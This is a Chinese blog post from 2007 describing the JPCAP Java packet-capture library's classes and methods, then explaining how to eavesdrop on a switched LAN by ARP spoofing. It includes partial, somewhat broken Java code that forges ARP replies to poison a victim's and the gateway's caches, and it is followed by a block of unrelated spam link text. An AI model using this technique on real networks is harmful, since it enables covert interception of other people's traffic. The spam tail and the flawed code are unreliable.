<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 0, comments - 77, trackbacks - 0, articles - 356
      BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

    JPCAP——JAVA中的數據鏈路層控制

    Posted on 2007-08-10 14:20 semovy 閱讀(200) 評論(0)  編輯  收藏 所屬分類: JAVA基礎
    一. JPCAP 簡介
    眾所周知,JAVA語言雖然在TCP/UDP傳輸方面給予了良好的定義,但對于網絡層以下的控制,卻是無能為力的。JPCAP擴展包彌補了這一點。
    JPCAP實際上并非一個真正去實現對數據鏈路層的控制,而是一個中間件,JPCAP調用wincap/libpcap,而給JAVA語言提供一個公共的接口,從而實現了平臺無關性。在官方網站上聲明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統。
    二. JPCAP 機制
           JPCAP的整個結構大體上跟wincap/libpcap是很相像的,例如NetworkInterface類對應wincaptypedef struct _ADAPTER  ADAPTERgetDeviceList()對應pcap_findalldevs()等等。 JPCAP有16個類,下面就其中最重要的4個類做說明。
     
    1. NetworkInterface
    該類的每一個實例代表一個網絡設備,一般就是網卡。這個類只有一些數據成員,除了繼承自java.lang.Object的基本方法以外,沒有定義其它方法。
     
    數據成員
    NetworkInterfaceAddress[]
    addresses
        這個接口的網絡地址。設定為數組應該是考慮到有些設備同時連接多條線路,例如路由器。但我們的PC機的網卡一般只有一條線路,所以我們一般取addresses[0]就夠了。
     java.lang.String
    datalink_description .
        數據鏈路層的描述。描述所在的局域網是什么網。例如,以太網(Ethernet)、無線LAN網(wireless LAN)、令牌環網(token ring)等等。
     java.lang.String
    datalink_name
       該網絡設備所對應數據鏈路層的名稱。具體來說,例如Ethernet10M、100M、1000M等等。
     java.lang.String
    description
       網卡是XXXX牌子XXXX型號之類的描述。例如我的網卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
     boolean
    Loopback
        標志這個設備是否loopback設備。
     byte[]
    mac_address
        網卡的MAC地址,6個字節。
     java.lang.String
    Name
        這個設備的名稱。例如我的網卡名稱:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
     
    2. JpcapCaptor
    該類提供了一系列靜態方法實現一些基本的功能。該類一個實例代表建立了一個與指定設備的鏈接,可以通過該類的實例來控制設備,例如設定網卡模式、設定過濾關鍵字等等。
     
    數據成員
     int
    dropped_packets 
    拋棄的包的數目。
    protected  int
    ID
        這個數據成員在官方文檔中并沒有做任何說明,查看 JPCAP 源代碼可以發現這個 ID 實際上在其 JNI C 代碼部分傳進來的,這類本身并沒有做出定義,所以是供其內部使用的。實際上在對 JpcapCator 實例的使用中也沒有辦法調用此數據成員。
    protected static boolean[]
    instanciatedFlag
       同樣在官方文檔中沒有做任何說明,估計其為供內部使用。
    protected static int
    MAX_NUMBER_OF_INSTANCE
    同樣在官方文檔中沒有做任何說明,估計其為供內部使用。
    int
    received_packets
            
    收到的包的數目
    方法成員
    static NetworkInterface[]
    getDeviceList ()
              
    返回一個網絡設備列表。
    static JpcapCaptor
    openDevice (NetworkInterface interface, int snaplen, boolean promisc, int to_ms)
            
    創建一個與指定設備的連接并返回該連接。注意,以上兩個方法都是靜態方法。
          Interface :要打開連接的設備的實例;
          Snaplen :這個是比較容易搞混的一個參數。其實這個參數不是限制只能捕捉多少數據包,而是限制每一次收到一個數據包,只提取該數據包中前多少字節;
          Promisc :設置是否混雜模式。處于混雜模式將接收所有數據包,若之后又調用了包過濾函數 setFilter() 將不起任何作用;
          To_ms :這個參數主要用于 processPacket() 方法,指定超時的時間;
     void
    Close ()
              
    關閉調用該方法的設備的連接,相對于openDivece()打開連接。
     JpcapSender
    getJpcapSenderInstance ()
             
    該返回一個 JpcapSender 實例, JpcapSender 類是專門用于控制設備的發送數據包的功能的類。
     Packet
    getPacket ()
              
    捕捉并返回一個數據包。這是 JpcapCaptor 實例中四種捕捉包的方法之一。
     int
    loopPacket (int count, PacketReceiver handler)
             
    捕捉指定數目的數據包,并交由實現了 PacketReceiver 接口的類的實例處理,并返回捕捉到的數據包數目。如果 count 參數設為- 1 ,那么無限循環地捕捉數據。
          這個方法不受超時的影響。還記得 openDivice() 中的 to_ms 參數么?那個參數對這個方法沒有影響,如果沒有捕捉到指定數目數據包,那么這個方法將一直阻塞等待。
    PacketReceiver 中只有一個抽象方法 void receive(Packet p)
     int
    processPacket (int count, PacketReceiver handler)
              
    loopPacket () 功能一樣,唯一的區別是這個方法受超時的影響,超過指定時間自動返回捕捉到數據包的數目。
     int
    dispatchPacket (int count, PacketReceiver handler)
            
    processPacket () 功能一樣,區別是這個方法可以處于“non-blocking”模式工作,在這種模式下dispatchPacket()可能立即返回,即使沒有捕捉到任何數據包。
     void
    setFilter (java.lang.String condition, boolean optimize)
              .
    condition 設定要提取的包的關鍵字。
           Optimize :這個參數在說明文檔以及源代碼中都沒有說明,只是說這個參數如果為真,那么過濾器將處于優化模式。
     void
    setNonBlockingMode (boolean nonblocking)
         如果值為“ true ”,那么設定為“ non-blocking ”模式。
     void
    breakLoop ()
         當調用 processPacket() loopPacket() 后,再調用這個方法可以強制讓 processPacket() loopPacket() 停止。
     
    3. JpcapSender
    該類專門用于控制數據包的發送。
     
    方法成員
     void
    close ()
             
    強制關閉這個連接。
    static JpcapSender
    openRawSocket ()
         這個方法返回的 JpcapSender 實例發送數據包時將自動填寫數據鏈路層頭部分。
     void
    sendPacket (Packet packet)
              JpcapSender
    最重要的功能,發送數據包。需要注意的是,如果調用這個方法的實例是由 JpcapCaptor getJpcapSenderInstance () 得到的話,需要自己設定數據鏈路層的頭,而如果是由上面的openRawSocket() 得到的話,那么無需也不能設置,數據鏈路層的頭部將由系統自動生成。
     
    4. Packet
    這個是所有其它數據包類的父類。Jpcap所支持的數據包有:
    ARPPacketDatalinkPacketEthernetPacketICMPPacketIPPacketTCPPacketUDPPacket
     
    三.使用JPCAP 實現監聽
           1 .監聽原理
           在詳細說用JPCAP實現網絡監聽實現前,先簡單介紹下監聽的原理。
           局域網監聽利用的是所謂的“ARP欺騙”技術。在以前曾經一段階段,局域網的布局是使用總線式(或集線式)結構,要到達監聽只需要將網卡設定為混雜模式即可,但現在的局域網絡普遍采用的是交換式網絡,所以單純靠混雜模式來達到監聽的方法已經不可行了。所以為了達到監聽的目的,我們需要“欺騙”路由器、“欺騙”交換機,即“ARP欺騙”技術。
           假設本機為A,監聽目標為B。
    首先,偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入網關IP,目的地址填入B的MAC、IP,然后將這個包發送給B,而B接收到這個偽造的ARP REPLY包后,由于源IP為網關IP,于是在它的ARP緩存表里刷新了一項,將(網關IP,網關MAC)刷新成(網關IP,A的MAC)。而B要訪問外部的網都需要經過網關,這時候這些要經過網關的包就通通流到A的機器上來了。
    接著,再偽造一個ARP REPLY包,數據鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入網關MAC、IP,然后將這個包發給網關,網關接收到這個偽造的ARP REPLY包后,由于源IP為B的IP,于是在它的ARP緩存表里刷新了一項,將(B的IP,B的MAC)刷新成(B的IP,A的MAC)。這時候外部傳給B的數據包經過網關時,就通通轉發給A。
    這樣還只是攔截了B的數據包而已,B并不能上網——解決方法是將接收到的包,除了目的地址部分稍做修改,其它原封不動的再轉發出去,這樣就達到了監聽的目的——在B不知不覺中瀏覽了B所有的對外數據包。
     
    ARP 數據包解析
    單元: Byte
    Ethernet 頭部
    ARP 數據部分
    2
    2
    2
    2
    目標 MAC 地址
    源地 MAC 地址
    類型號 0x0800:ip
    0x0806:ARP
    局域網類型
    以太網 0x0001
    網絡協議類型
    IP 網絡 0x0800
    MAC/IP 地址長度,恒為 0x06/04
    ARP 包類型
    REPLY
    0x0002
    ARP 目標 IP 地址
    ARP 目標 MAC 地址
    ARP IP 地址
    ARP MAC 地址
     
    2 .用JPCAP 實現監聽
           就如上面說的,為了實現監聽,我們必須做四件事:
    A.發送ARP包修改B的ARP緩存表;
    B.發送ARP包修改路由ARP緩存表;
    C.轉發B發過來的數據包;
    D.轉發路由發過來的數據包;
     
    下面我們給個小小的例子說明怎樣實現。
    我們假定運行這個程序的機器A只有一個網卡,只接一個網絡,所在局域網為Ethernet,并且假定已經通過某種方式獲得B和網關的MAC地址(例如ARP解析獲得)。我們修改了B和網關的ARP表,并對他們的包進行了轉發。
    public class changeARP{
             private NetworkInterface[] devices;                           // 設備列表
             private NetworkInterface device;                               // 要使用的設備
             private JpcapCaptor jpcap;                                        // 與設備的連接
             private JpcapSender sender;                                       // 用于發送的實例
             private byte[] targetMAC, gateMAC;                       //B MAC 地址,網關的 MAC 地址
             private byte[] String targetIp, String gateIp;              //B IP 地址,網關的 IP 地址
             /**
             * 初始化設備
             * JpcapCaptor.getDeviceList() 得到設備可能會有兩個,其中一個必定是“ Generic
    *dialup adapter ”, 這是 windows 系統的虛擬網卡,并非真正的硬件設備。
    * 注意:在這里有一個小小的 BUG ,如果 JpcapCaptor.getDeviceList() 之前有類似 JFrame jf=new
    *JFame ()這類的語句會影響得到設備個數,只會得到真正的硬件設備,而不會出現虛擬網卡。
    * 虛擬網卡只有 MAC 地址而沒有 IP 地址,而且如果出現虛擬網卡,那么實際網卡的 MAC 將分
    * 配給虛擬網卡,也就是說在程序中調用 device. mac_address 時得到的是 00 00 00 00 00 00
             */
             private NetworkInterface getDevice() throws IOException {
                      devices = JpcapCaptor.getDeviceList();                                                 // 獲得設備列表
                       device = devices[0];                                                                                // 只有一個設備
                       jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             // 打開與設備的連接
                       jpcap.setFilter(“ip”,true);                                                                       // 只監聽 B IP 數據包
                       sender = captor.getJpcapSenderInstance();
             }
             /**
             * 修改 B 和網關的 ARP 表。因為網關會定時發數據包刷新自己和 B 的緩存表,所以必須每隔一
             * 段時間就發一次包重新更改 B 和網關的 ARP 表。
             *@ 參數 targetMAC           B MAC 地址,可通過 ARP 解析得到;
             *@ 參數 targetIp                 B IP 地址;
             *@ 參數 gateMAC              網關的 MAC 地址;
             *@ 參數 gateIp                     網關的 IP;
             */
             public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
                                throws UnknownHostException,InterruptedException {
                       this. targetMAC =  targetMAC;
                       this. targetIp =  targetIp;
                       this. gateMAC = gateMAC;
                       this. gateIp = gateIp;
                       getDevice();
                       arpTarget = new ARPPacket();                                                     // 修改 B ARP 表的 ARP
                       arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          // 選擇以太網類型 (Ethernet)
                       arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                // 選擇 IP 網絡協議類型
                       arpTarget.operation = ARPPacket.ARP_REPLY;                         // 選擇 REPLY 類型
                       arpTarget.hlen = 6;                                                                        //MAC 地址長度固定 6 個字節
                       arpTarget.plen = 4;                                                                        //IP 地址長度固定 4 個字節
                       arpTarget.sender_hardaddr = device.mac_address;                       //A MAC 地址
                       arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       // 網關 IP
                       arpTarget.target_hardaddr = targetMAC;      
    主站蜘蛛池模板: 国产精品免费看香蕉| 免费精品国偷自产在线在线| 美女黄网站人色视频免费| 亚洲国产精华液2020| 亚洲精品无码永久在线观看男男| 国产成人久久精品亚洲小说| 最近中文字幕免费大全| 91成人免费观看| 成人免费午间影院在线观看| 国产免费午夜a无码v视频| 亚洲嫩模在线观看| 亚洲精品9999久久久久无码| AV无码免费永久在线观看| 男人的天堂亚洲一区二区三区| 成人免费一区二区无码视频| JLZZJLZZ亚洲乱熟无码| 亚洲欧洲日韩综合| 免费国产a理论片| 久久精品国产免费观看| 红杏亚洲影院一区二区三区| 国产成人精品日本亚洲直接| 免费无码一区二区三区蜜桃 | 国产成人精品日本亚洲专一区 | 怡红院免费全部视频在线视频| 亚洲色WWW成人永久网址| 亚洲熟妇AV乱码在线观看| 国产精品偷伦视频观看免费| 手机看片久久国产免费| 亚洲av无码不卡| 少妇亚洲免费精品| 久久精品无码一区二区三区免费| 亚洲精华国产精华精华液好用| 免费成人午夜视频| 久久亚洲精品11p| 成人免费毛片内射美女-百度| 亚洲av色影在线| 99视频在线免费观看| 亚洲熟妇无码久久精品| 日本免费A级毛一片| 亚洲免费视频观看| 全部免费毛片在线播放|